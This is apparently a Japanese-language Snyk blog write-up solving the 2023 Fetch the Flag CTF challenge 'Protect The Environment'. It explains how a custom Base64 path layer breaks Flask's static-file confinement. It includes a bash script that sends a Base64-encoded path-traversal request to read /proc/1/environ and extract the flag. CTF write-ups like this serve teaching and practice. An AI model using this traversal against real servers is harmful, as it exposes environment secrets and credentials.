Skip to main content

Snyk Fetch the Flag CTF 2023 解説:Protect The Environment

snyk ctf protect the environment

2023年11月30日

0 分で読めます

Fetchをプレイしていただき、ありがとうございます! Fetch the Flag CTFに参加してくださった何千人もの皆さん、おめでとうございます。Snykの2023年 Fetch the Flagに参加し、Protect The Environmentチャレンジの答えをお探しなら、ここがぴったりです。一緒に解決方法を見ていきましょう!

このチャレンジでは、パスに手作りのBase64エンコード層を使用しています。一見問題なさそうですが、Flaskが静的ファイルを自動的にchrootする機能が壊れてしまいます。これはファイルインクルージョン攻撃ですが、ファイルをインクルードする代わりに/proc/<pid>/environファイルを指定します。ユーザーにはPIDが知らされず、調べる方法もありませんが、PID 1で機能するため問題ありません(単純に列挙すれば、Gunicornワーカーが使うPID 8も見つかります)。

#!/bin/bash

if [[ -z "$1" ]]
then
    echo "IP address or hostname not specified"
    exit 1
fi

if [[ -z "$2" ]]
then
    echo "Port not specified"
    exit 1
fi

curl -s http://$1:$2/`echo "assets/../../../../../../proc/1/environ" | base64` -o - | strings | grep -oE "flag{.*?}" --color=none

Fetchを盛り上げてくださり、ありがとうございました!

Fetch the Flag 2023に参加したすべてのチームに、心から感謝します!皆さんにお会いできて本当にうれしかったです。YouTubeで私を見つけてください。いつでもお待ちしています。

2023年の他のチャレンジの解説はこちらです。ぜひご覧ください!

カテゴリー: